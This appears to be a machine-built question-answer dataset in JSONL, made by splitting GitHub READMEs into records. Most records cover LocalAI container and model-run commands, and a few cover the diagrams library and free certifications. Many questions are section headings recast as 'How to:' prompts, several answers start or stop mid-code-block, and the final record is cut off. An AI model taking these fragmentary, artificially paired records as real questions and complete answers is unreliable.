{"id": "gh_80b2f83667f4", "question": "How to: Containers (Docker, podman, ...)", "question_body": "About mudler/LocalAI", "answer": "> **💡 Docker Run vs Docker Start**\n> \n> - `docker run` creates and starts a new container. If a container with the same name already exists, this command will fail.\n> - `docker start` starts an existing container that was previously created with `docker run`.\n> \n> If you've already run LocalAI before and want to start it again, use: `docker start -i local-ai`\n\n#### CPU only image:\n\n```bash\ndocker run -ti --name local-ai -p 8080:8080 localai/localai:latest\n```\n\n#### NVIDIA GPU Images:\n\n```bash", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 42088, "answer_score": 10, "has_code": true, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445587"}
{"id": "gh_1f8eb07027e9", "question": "How to: CUDA 12 (for Nvidia AGX Orin and similar platforms)", "question_body": "About mudler/LocalAI", "answer": "docker run -ti --name local-ai -p 8080:8080 --gpus all localai/localai:latest-nvidia-l4t-arm64", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445594"}
{"id": "gh_91fe2294fb34", "question": "How to: CUDA 13 (for Nvidia DGX Spark)", "question_body": "About mudler/LocalAI", "answer": "docker run -ti --name local-ai -p 8080:8080 --gpus all localai/localai:latest-nvidia-l4t-arm64-cuda-13\n```\n\n#### AMD GPU Images (ROCm):\n\n```bash\ndocker run -ti --name local-ai -p 8080:8080 --device=/dev/kfd --device=/dev/dri --group-add=video localai/localai:latest-gpu-hipblas\n```\n\n#### Intel GPU Images (oneAPI):\n\n```bash\ndocker run -ti --name local-ai -p 8080:8080 --device=/dev/dri/card1 --device=/dev/dri/renderD128 localai/localai:latest-gpu-intel\n```\n\n#### Vulkan GPU Images:\n\n```bash\ndocker run -ti --name local-ai -p 8080:8080 localai/localai:latest-gpu-vulkan\n```\n\n#### AIO Images (pre-downloaded models):\n\n```bash", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 42088, "answer_score": 10, "has_code": true, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445601"}
{"id": "gh_ee5b2121389e", "question": "How to: CPU version", "question_body": "About mudler/LocalAI", "answer": "docker run -ti --name local-ai -p 8080:8080 localai/localai:latest-aio-cpu", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445606"}
{"id": "gh_97730ab64a51", "question": "How to: NVIDIA CUDA 13 version", "question_body": "About mudler/LocalAI", "answer": "docker run -ti --name local-ai -p 8080:8080 --gpus all localai/localai:latest-aio-gpu-nvidia-cuda-13", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445611"}
{"id": "gh_8cd81bb8fe4b", "question": "How to: NVIDIA CUDA 12 version", "question_body": "About mudler/LocalAI", "answer": "docker run -ti --name local-ai -p 8080:8080 --gpus all localai/localai:latest-aio-gpu-nvidia-cuda-12", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445616"}
{"id": "gh_89015360ae09", "question": "How to: Intel GPU version", "question_body": "About mudler/LocalAI", "answer": "docker run -ti --name local-ai -p 8080:8080 localai/localai:latest-aio-gpu-intel", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445621"}
{"id": "gh_af9b92d14d41", "question": "How to: AMD GPU version", "question_body": "About mudler/LocalAI", "answer": "docker run -ti --name local-ai -p 8080:8080 --device=/dev/kfd --device=/dev/dri --group-add=video localai/localai:latest-aio-gpu-hipblas\n```\n\nFor more information about the AIO images and pre-downloaded models, see [Container Documentation](https://localai.io/basics/container/).\n\nTo load models:\n\n```bash", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 42088, "answer_score": 10, "has_code": true, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445626"}
{"id": "gh_ea08294af168", "question": "How to: Start LocalAI with the phi-2 model directly from huggingface", "question_body": "About mudler/LocalAI", "answer": "local-ai run huggingface://TheBloke/phi-2-GGUF/phi-2.Q8_0.gguf", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445632"}
{"id": "gh_85bc194ca407", "question": "How to: Run a model from a configuration file", "question_body": "About mudler/LocalAI", "answer": "local-ai run https://gist.githubusercontent.com/.../phi-2.yaml", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445637"}
{"id": "gh_a060a8894c00", "question": "How to: Install and run a model from a standard OCI registry (e.g., Docker Hub)", "question_body": "About mudler/LocalAI", "answer": "local-ai run oci://localai/phi-2:latest\n```\n\n> ⚡ **Automatic Backend Detection**: When you install models from the gallery or YAML files, LocalAI automatically detects your system's GPU capabilities (NVIDIA, AMD, Intel) and downloads the appropriate backend. For advanced configuration options, see [GPU Acceleration](https://localai.io/features/gpu-acceleration/#automatic-backend-detection).\n\nFor more information, see [💻 Getting started](https://localai.io/basics/getting_started/index.html), if you are interested in our roadmap items and future enhancements, you can see the [Issues labeled as Roadmap here](https://github.com/mudler/LocalAI/issues?q=is%3Aissue+is%3Aopen+label%3Aroadmap)", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 42088, "answer_score": 10, "has_code": true, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445644"}
{"id": "gh_1e1acc33919a", "question": "How to: 📰 Latest project news", "question_body": "About mudler/LocalAI", "answer": "- December 2025: [Dynamic Memory Resource reclaimer](https://github.com/mudler/LocalAI/pull/7583), [Automatic fitting of models to multiple GPUS(llama.cpp)](https://github.com/mudler/LocalAI/pull/7584), [Added Vibevoice backend](https://github.com/mudler/LocalAI/pull/7494)\n- November 2025: Major improvements to the UX. Among these: [Import models via URL](https://github.com/mudler/LocalAI/pull/7245) and [Multiple chats and history](https://github.com/mudler/LocalAI/pull/7325)\n- October 2025: 🔌 [Model Context Protocol (MCP)](https://localai.io/docs/features/mcp/) support added for agentic capabilities with external tools\n- September 2025: New Launcher application for MacOS and Linux, extended support to many backends for Mac and Nvidia L4T devices. Models: Added MLX-Audio, WAN 2.2. WebUI improvements and Python-based backends now ships portable python environments.\n- August 2025: MLX, MLX-VLM, Diffusers and llama.cpp are now supported on Mac M1/M2/M3+ chips ( with `development` suffix in the gallery ): https://github.com/mudler/LocalAI/pull/6049 https://github.com/mudler/LocalAI/pull/6119 https://github.com/mudler/LocalAI/pull/6121 https://github.com/mudler/LocalAI/pull/6060\n- July/August 2025: 🔍 [Object Detection](https://localai.io/features/object-detection/) added to the API featuring [rf-detr](https://github.com/roboflow/rf-detr)\n- July 2025: All backends migrated outside of the main binary. LocalAI is now more lightweight, small, and automatically downloads the required backend to run the model. [Read the release notes](https://github.com/mudler/LocalAI/releases/tag/v3.2.0)\n- June 2025: [Backend management](https://github.com/mudler/LocalAI/pull/5607) has been added. Attention: extras images are going to be deprecated from the next release! Read [the backend management PR](https://github.com/mudler/LocalAI/pull/5607).\n- May 2025: [Audio input](https://github.com/mudler/LocalAI/pull/5466) and [Reranking](https://github.com/mudler/LocalAI/pull/5396) in llama.cpp backend, [Realtime API](https://github.com/mudler/LocalAI/pull/5392),  Support to Gemma, SmollVLM, and more multimodal models (available in the gallery).\n- May 2025: Important: image name changes [See release](https://github.com/mudler/LocalAI/releases/tag/v2.29.0)\n- Apr 2025: Rebrand, WebUI enhancements\n- Apr 2025: [LocalAGI](https://github.com/mudler/LocalAGI) and [LocalRecall](https://github.com/mudler/LocalRecall) join the LocalAI family stack.\n- Apr 2025: WebUI overhaul, AIO images updates\n- Feb 2025: Backend cleanup, Breaking changes, new backends (kokoro, OutelTTS, faster-whisper), Nvidia L4T images\n- Jan 2025: LocalAI model release: https://huggingface.co/mudler/LocalAI-functioncall-phi-4-v0.3, SANA support in diffusers: https://github.com/mudler/LocalAI/pull/4603\n- Dec 2024: stablediffusion.cpp backend (ggml) added ( https://github.com/mudler/LocalAI/pull/4289 )\n- Nov 2024: Bark.cpp backend added ( https://github.com/mudler/LocalAI/pull/4287 )\n- Nov 2024: Voice activity detection models (**VAD**) added to the API: https://github.com/mudler/LocalAI/pull/4204\n- Oct 2024: examples moved to [LocalAI-examples](https://github.com/mudler/LocalAI-examples)\n- Aug 2024:  🆕 FLUX-1, [P2P Explorer](https://explorer.localai.io)\n- July 2024: 🔥🔥 🆕 P2P Dashboard, LocalAI Federated mode and AI Swarms: https://github.com/mudler/LocalAI/pull/2723. P2P Global community pools: https://github.com/mudler/LocalAI/issues/3113\n- May 2024: 🔥🔥 Decentralized P2P llama.cpp:  https://github.com/mudler/LocalAI/pull/2343 (peer2peer llama.cpp!) 👉 Docs  https://localai.io/features/distribute/\n- May 2024: 🔥🔥 Distributed inferencing: https://github.com/mudler/LocalAI/pull/2324\n- April 2024: Reranker API: https://github.com/mudler/LocalAI/pull/2121\n\nRoadmap items: [List of issues](https://github.com/mudler/LocalAI/issues?q=is%3Aissue+is%3Aopen+label%3Aroadmap)", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445665"}
{"id": "gh_78bf4cc431e3", "question": "How to: 🚀 [Features](https://localai.io/features/)", "question_body": "About mudler/LocalAI", "answer": "- 🧩 [Backend Gallery](https://localai.io/backends/): Install/remove backends on the fly, powered by OCI images — fully customizable and API-driven.\n- 📖 [Text generation with GPTs](https://localai.io/features/text-generation/) (`llama.cpp`, `transformers`, `vllm` ... [:book: and more](https://localai.io/model-compatibility/index.html#model-compatibility-table))\n- 🗣 [Text to Audio](https://localai.io/features/text-to-audio/)\n- 🔈 [Audio to Text](https://localai.io/features/audio-to-text/) (Audio transcription with `whisper.cpp`)\n- 🎨 [Image generation](https://localai.io/features/image-generation)\n- 🔥 [OpenAI-alike tools API](https://localai.io/features/openai-functions/) \n- 🧠 [Embeddings generation for vector databases](https://localai.io/features/embeddings/)\n- ✍️ [Constrained grammars](https://localai.io/features/constrained_grammars/)\n- 🖼️ [Download Models directly from Huggingface ](https://localai.io/models/)\n- 🥽 [Vision API](https://localai.io/features/gpt-vision/)\n- 🔍 [Object Detection](https://localai.io/features/object-detection/)\n- 📈 [Reranker API](https://localai.io/features/reranker/)\n- 🆕🖧 [P2P Inferencing](https://localai.io/features/distribute/)\n- 🆕🔌 [Model Context Protocol (MCP)](https://localai.io/docs/features/mcp/) - Agentic capabilities with external tools and [LocalAGI's Agentic capabilities](https://github.com/mudler/LocalAGI)\n- 🔊 Voice activity detection (Silero-VAD support)\n- 🌍 Integrated WebUI!", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445677"}
{"id": "gh_a0b6a3e5b7f6", "question": "How to: 🧩 Supported Backends & Acceleration", "question_body": "About mudler/LocalAI", "answer": "LocalAI supports a comprehensive range of AI backends with multiple acceleration options:", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445683"}
{"id": "gh_15f64ea0b5ea", "question": "How to: Text Generation & Language Models", "question_body": "About mudler/LocalAI", "answer": "| Backend | Description | Acceleration Support |\n|---------|-------------|---------------------|\n| **llama.cpp** | LLM inference in C/C++ | CUDA 12/13, ROCm, Intel SYCL, Vulkan, Metal, CPU |\n| **vLLM** | Fast LLM inference with PagedAttention | CUDA 12/13, ROCm, Intel |\n| **transformers** | HuggingFace transformers framework | CUDA 12/13, ROCm, Intel, CPU |\n| **exllama2** | GPTQ inference library | CUDA 12/13 |\n| **MLX** | Apple Silicon LLM inference | Metal (M1/M2/M3+) |\n| **MLX-VLM** | Apple Silicon Vision-Language Models | Metal (M1/M2/M3+) |", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445690"}
{"id": "gh_9606cf951888", "question": "How to: Audio & Speech Processing", "question_body": "About mudler/LocalAI", "answer": "| Backend | Description | Acceleration Support |\n|---------|-------------|---------------------|\n| **whisper.cpp** | OpenAI Whisper in C/C++ | CUDA 12/13, ROCm, Intel SYCL, Vulkan, CPU |\n| **faster-whisper** | Fast Whisper with CTranslate2 | CUDA 12/13, ROCm, Intel, CPU |\n| **bark** | Text-to-audio generation | CUDA 12/13, ROCm, Intel |\n| **bark-cpp** | C++ implementation of Bark | CUDA, Metal, CPU |\n| **coqui** | Advanced TTS with 1100+ languages | CUDA 12/13, ROCm, Intel, CPU |\n| **kokoro** | Lightweight TTS model | CUDA 12/13, ROCm, Intel, CPU |\n| **chatterbox** | Production-grade TTS | CUDA 12/13, CPU |\n| **piper** | Fast neural TTS system | CPU |\n| **kitten-tts** | Kitten TTS models | CPU |\n| **silero-vad** | Voice Activity Detection | CPU |\n| **neutts** | Text-to-speech with voice cloning | CUDA 12/13, ROCm, CPU |\n| **vibevoice** | Real-time TTS with voice cloning | CUDA 12/13, ROCm, Intel, CPU |\n| **pocket-tts** | Lightweight CPU-based TTS | CUDA 12/13, ROCm, Intel, CPU |", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445698"}
{"id": "gh_9f47251f2540", "question": "How to: Image & Video Generation", "question_body": "About mudler/LocalAI", "answer": "| Backend | Description | Acceleration Support |\n|---------|-------------|---------------------|\n| **stablediffusion.cpp** | Stable Diffusion in C/C++ | CUDA 12/13, Intel SYCL, Vulkan, CPU |\n| **diffusers** | HuggingFace diffusion models | CUDA 12/13, ROCm, Intel, Metal, CPU |", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445704"}
{"id": "gh_08327b68e02b", "question": "How to: Specialized AI Tasks", "question_body": "About mudler/LocalAI", "answer": "| Backend | Description | Acceleration Support |\n|---------|-------------|---------------------|\n| **rfdetr** | Real-time object detection | CUDA 12/13, Intel, CPU |\n| **rerankers** | Document reranking API | CUDA 12/13, ROCm, Intel, CPU |\n| **local-store** | Vector database | CPU |\n| **huggingface** | HuggingFace API integration | API-based |", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445709"}
{"id": "gh_3ac1bb9c3fc8", "question": "How to: Hardware Acceleration Matrix", "question_body": "About mudler/LocalAI", "answer": "| Acceleration Type | Supported Backends | Hardware Support |\n|-------------------|-------------------|------------------|\n| **NVIDIA CUDA 12** | All CUDA-compatible backends | Nvidia hardware |\n| **NVIDIA CUDA 13** | All CUDA-compatible backends | Nvidia hardware |\n| **AMD ROCm** | llama.cpp, whisper, vllm, transformers, diffusers, rerankers, coqui, kokoro, bark, neutts, vibevoice, pocket-tts | AMD Graphics |\n| **Intel oneAPI** | llama.cpp, whisper, stablediffusion, vllm, transformers, diffusers, rfdetr, rerankers, exllama2, coqui, kokoro, bark, vibevoice, pocket-tts | Intel Arc, Intel iGPUs |\n| **Apple Metal** | llama.cpp, whisper, diffusers, MLX, MLX-VLM, bark-cpp | Apple M1/M2/M3+ |\n| **Vulkan** | llama.cpp, whisper, stablediffusion | Cross-platform GPUs |\n| **NVIDIA Jetson (CUDA 12)** | llama.cpp, whisper, stablediffusion, diffusers, rfdetr | ARM64 embedded AI (AGX Orin, etc.) |\n| **NVIDIA Jetson (CUDA 13)** | llama.cpp, whisper, stablediffusion, diffusers, rfdetr | ARM64 embedded AI (DGX Spark) |\n| **CPU Optimized** | All backends | AVX/AVX2/AVX512, quantization support |", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445717"}
{"id": "gh_2cce8f534a69", "question": "How to: 🔗 Community and integrations", "question_body": "About mudler/LocalAI", "answer": "Build and deploy custom containers:\n- https://github.com/sozercan/aikit\n\nWebUIs:\n- https://github.com/Jirubizu/localai-admin\n- https://github.com/go-skynet/LocalAI-frontend\n- QA-Pilot(An interactive chat project that leverages LocalAI LLMs for rapid understanding and navigation of GitHub code repository) https://github.com/reid41/QA-Pilot\n\nAgentic Libraries:\n- https://github.com/mudler/cogito\n\nMCPs:\n- https://github.com/mudler/MCPs\n\nModel galleries\n- https://github.com/go-skynet/model-gallery\n\nVoice:\n- https://github.com/richiejp/VoxInput\n\nOther:\n- Helm chart https://github.com/go-skynet/helm-charts\n- VSCode extension https://github.com/badgooooor/localai-vscode-plugin\n- Langchain: https://python.langchain.com/docs/integrations/providers/localai/\n- Terminal utility https://github.com/djcopley/ShellOracle\n- Local Smart assistant https://github.com/mudler/LocalAGI\n- Home Assistant https://github.com/sammcj/homeassistant-localai / https://github.com/drndos/hass-openai-custom-conversation / https://github.com/valentinfrlch/ha-gpt4vision\n- Discord bot https://github.com/mudler/LocalAGI/tree/main/examples/discord\n- Slack bot https://github.com/mudler/LocalAGI/tree/main/examples/slack\n- Shell-Pilot(Interact with LLM using LocalAI models via pure shell scripts on your Linux or MacOS system) https://github.com/reid41/shell-pilot\n- Telegram bot https://github.com/mudler/LocalAI/tree/master/examples/telegram-bot\n- Another Telegram Bot https://github.com/JackBekket/Hellper\n- Auto-documentation https://github.com/JackBekket/Reflexia\n- Github bot which answer on issues, with code and documentation as context https://github.com/JackBekket/GitHelper\n- Github Actions: https://github.com/marketplace/actions/start-localai\n- Examples: https://github.com/mudler/LocalAI/tree/master/examples/", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445730"}
{"id": "gh_146d30ecf914", "question": "How to: 🔗 Resources", "question_body": "About mudler/LocalAI", "answer": "- [LLM finetuning guide](https://localai.io/docs/advanced/fine-tuning/)\n- [How to build locally](https://localai.io/basics/build/index.html)\n- [How to install in Kubernetes](https://localai.io/basics/getting_started/index.html#run-localai-in-kubernetes)\n- [Projects integrating LocalAI](https://localai.io/docs/integrations/)\n- [How tos section](https://io.midori-ai.xyz/howtos/) (curated by our community)", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445737"}
{"id": "gh_3f481c116a65", "question": "How to: :book: 🎥 [Media, Blogs, Social](https://localai.io/basics/news/#media-blogs-social)", "question_body": "About mudler/LocalAI", "answer": "- [Run Visual studio code with LocalAI (SUSE)](https://www.suse.com/c/running-ai-locally/)\n- 🆕 [Run LocalAI on Jetson Nano Devkit](https://mudler.pm/posts/local-ai-jetson-nano-devkit/)\n- [Run LocalAI on AWS EKS with Pulumi](https://www.pulumi.com/blog/low-code-llm-apps-with-local-ai-flowise-and-pulumi/)\n- [Run LocalAI on AWS](https://staleks.hashnode.dev/installing-localai-on-aws-ec2-instance)\n- [Create a slackbot for teams and OSS projects that answer to documentation](https://mudler.pm/posts/smart-slackbot-for-teams/)\n- [LocalAI meets k8sgpt](https://www.youtube.com/watch?v=PKrDNuJ_dfE)\n- [Question Answering on Documents locally with LangChain, LocalAI, Chroma, and GPT4All](https://mudler.pm/posts/localai-question-answering/)\n- [Tutorial to use k8sgpt with LocalAI](https://medium.com/@tyler_97636/k8sgpt-localai-unlock-kubernetes-superpowers-for-free-584790de9b65)", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445746"}
{"id": "gh_d4799f61b0d0", "question": "How to: ❤️ Sponsors", "question_body": "About mudler/LocalAI", "answer": "> Do you find LocalAI useful?\n\nSupport the project by becoming [a backer or sponsor](https://github.com/sponsors/mudler). Your logo will show up here with a link to your website.\n\nA huge thank you to our generous sponsors who support this project covering CI expenses, and our [Sponsor list](https://github.com/sponsors/mudler):", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 42088, "answer_score": 10, "has_code": true, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445755"}
{"id": "gh_8406ea5cff3d", "question": "How to: Individual sponsors", "question_body": "About mudler/LocalAI", "answer": "A special thanks to individual sponsors that contributed to the project, a full list is in [Github](https://github.com/sponsors/mudler) and [buymeacoffee](https://buymeacoffee.com/mudler), a special shout out goes to [drikster80](https://github.com/drikster80) for being generous. Thank you everyone!", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445760"}
{"id": "gh_62b784bd3297", "question": "How to: 🌟 Star history", "question_body": "About mudler/LocalAI", "answer": "[![LocalAI Star history Chart](https://api.star-history.com/svg?repos=go-skynet/LocalAI&type=Date)](https://star-history.com/#go-skynet/LocalAI&Date)", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445766"}
{"id": "gh_1e288d94a67b", "question": "How to: 🙇 Acknowledgements", "question_body": "About mudler/LocalAI", "answer": "LocalAI couldn't have been built without the help of great software already available from the community. Thank you!\n\n- [llama.cpp](https://github.com/ggerganov/llama.cpp)\n- https://github.com/tatsu-lab/stanford_alpaca\n- https://github.com/cornelk/llama-go for the initial ideas\n- https://github.com/antimatter15/alpaca.cpp\n- https://github.com/EdVince/Stable-Diffusion-NCNN\n- https://github.com/ggerganov/whisper.cpp\n- https://github.com/rhasspy/piper", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445773"}
{"id": "gh_338cc9c2e122", "question": "How to: 🤗 Contributors", "question_body": "About mudler/LocalAI", "answer": "This is a community project, a special thanks to our contributors! 🤗", "tags": ["mudler"], "source": "github_gists", "category": "mudler", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 42088, "answer_score": 10, "has_code": false, "url": "https://github.com/mudler/LocalAI", "collected_at": "2026-01-16T23:30:29.445780"}
{"id": "gh_1dbc5fe23a20", "question": "How to: Getting Started", "question_body": "About mingrammer/diagrams", "answer": "It requires **Python 3.9** or higher, check your Python version first.\n\nIt uses [Graphviz](https://www.graphviz.org/) to render the diagram, so you need to [install Graphviz](https://graphviz.gitlab.io/download/) to use **diagrams**. After installing graphviz (or already have it), install the **diagrams**.\n\n> macOS users can download the Graphviz via `brew install graphviz` if you're using [Homebrew](https://brew.sh).\n\n```shell", "tags": ["mingrammer"], "source": "github_gists", "category": "mingrammer", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41920, "answer_score": 10, "has_code": true, "url": "https://github.com/mingrammer/diagrams", "collected_at": "2026-01-16T23:30:31.443675"}
{"id": "gh_6ce6b76decb3", "question": "How to: using poetry", "question_body": "About mingrammer/diagrams", "answer": "$ poetry add diagrams\n```\n\nYou can start with [quick start](https://diagrams.mingrammer.com/docs/getting-started/installation#quick-start). Check out [guides](https://diagrams.mingrammer.com/docs/guides/diagram) for more details, and you can find all available nodes list in [here](https://diagrams.mingrammer.com/docs/nodes/aws).", "tags": ["mingrammer"], "source": "github_gists", "category": "mingrammer", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41920, "answer_score": 10, "has_code": true, "url": "https://github.com/mingrammer/diagrams", "collected_at": "2026-01-16T23:30:31.443689"}
{"id": "gh_7f442694fb0c", "question": "How to: Contributing", "question_body": "About mingrammer/diagrams", "answer": "To contribute to diagram, check out [contribution guidelines](CONTRIBUTING.md).\n\n> Let me know if you are using diagrams! I'll add you in showcase page. (I'm working on it!) :)", "tags": ["mingrammer"], "source": "github_gists", "category": "mingrammer", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 41920, "answer_score": 10, "has_code": false, "url": "https://github.com/mingrammer/diagrams", "collected_at": "2026-01-16T23:30:31.443696"}
{"id": "gh_5a44187a2579", "question": "How to: Who uses it?", "question_body": "About mingrammer/diagrams", "answer": "[Apache Airflow](https://github.com/apache/airflow) is the most popular data workflow Orchestrator. Airflow uses Diagrams to generate architecture diagrams in their documentation.\n\n[Cloudiscovery](https://github.com/Cloud-Architects/cloudiscovery) helps you to analyze resources in your cloud (AWS/GCP/Azure/Alibaba/IBM) account. It allows you to create a diagram of analyzed cloud resource map based on this Diagrams library, so you can draw your existing cloud infrastructure with Cloudiscovery.\n\n[Airflow Diagrams](https://github.com/feluelle/airflow-diagrams) is an Airflow plugin that aims to easily visualise your Airflow DAGs on service level from providers like AWS, GCP, Azure, etc. via diagrams.\n\n[KubeDiagrams](https://github.com/philippemerle/KubeDiagrams) is a tool to generate Kubernetes architecture diagrams from Kubernetes manifest files, kustomization files, Helm charts, and actual cluster state. [KubeDiagrams](https://github.com/philippemerle/KubeDiagrams) supports all Kubernetes built-in resources, any custom resources, and label-based resource clustering.", "tags": ["mingrammer"], "source": "github_gists", "category": "mingrammer", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41920, "answer_score": 10, "has_code": false, "url": "https://github.com/mingrammer/diagrams", "collected_at": "2026-01-16T23:30:31.443704"}
{"id": "gh_fde957540c19", "question": "How to: Other languages", "question_body": "About mingrammer/diagrams", "answer": "- If you are familiar with Go, you can use [go-diagrams](https://github.com/blushft/go-diagrams) as well.", "tags": ["mingrammer"], "source": "github_gists", "category": "mingrammer", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 41920, "answer_score": 10, "has_code": false, "url": "https://github.com/mingrammer/diagrams", "collected_at": "2026-01-16T23:30:31.443709"}
{"id": "gh_495832ddf4ee", "question": "How to: Table of Contents", "question_body": "About cloudcommunity/Free-Certifications", "answer": "- [General](#general)\n- [Security](#security)\n- [Databases](#databases)\n- [Project Management](#project-management)\n- [Marketing](#marketing)\n- [Miscellaneous](#miscellaneous)", "tags": ["cloudcommunity"], "source": "github_gists", "category": "cloudcommunity", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 49725, "answer_score": 10, "has_code": false, "url": "https://github.com/cloudcommunity/Free-Certifications", "collected_at": "2026-01-16T23:30:34.329723"}
{"id": "gh_8688eacb29e8", "question": "How to: Project Management", "question_body": "About cloudcommunity/Free-Certifications", "answer": "| Provider | Description | Link | Expiration |\n| --- | --- | --- | --- |\n| Certiprof | Free “Scrum Foundations Professional Certificate (SFPC)” certification. Available in en, pt-br & es. Use the code “COVID19Support” | [Link](https://certiprof.com/pages/scrum-foundations-professional-certificate-sfpc-english) | Unknown |\n| Six Sigma Online | Free Six Sigma White Belt Training & Certification. | [Link](https://www.sixsigmaonline.org/six-sigma-white-belt-certification/) | Unknown |\n| OHSC | Free Project Management course and certificate by Oxford Home Study Centre (OHSC). | [Link](https://www.oxfordhomestudy.com/courses/project-management-courses-online/free-online-courses-with-certificates-in-project-management) | Unlimited |\n| Msicertified | Free Project Management Essentials Certified (PMEC) training & certification.  | [Link](https://www.msicertified.com/free-project-management-certification.html) | Unlimited |\n| 6sigmastudy | Free Six Sigma Yellow Belt course & certification. | [Link](http://www.6sigmastudy.com/Six-Sigma-Yellow-Belt.asp) | Unlimited |\n| ScrumStudy | Free “Scrum Fundamentals Certified (SFC™)” training course & certification | [Link](https://www.scrumstudy.com/certification/scrum-fundamentals-certified) | Unlimited |\n| SkillFront | Free Certified Associate In Scrum Fundamentals™ (CASF™) | [Link](https://www.skillfront.com/CASF-Certified-Associate-In-Scrum-Fundamentals) 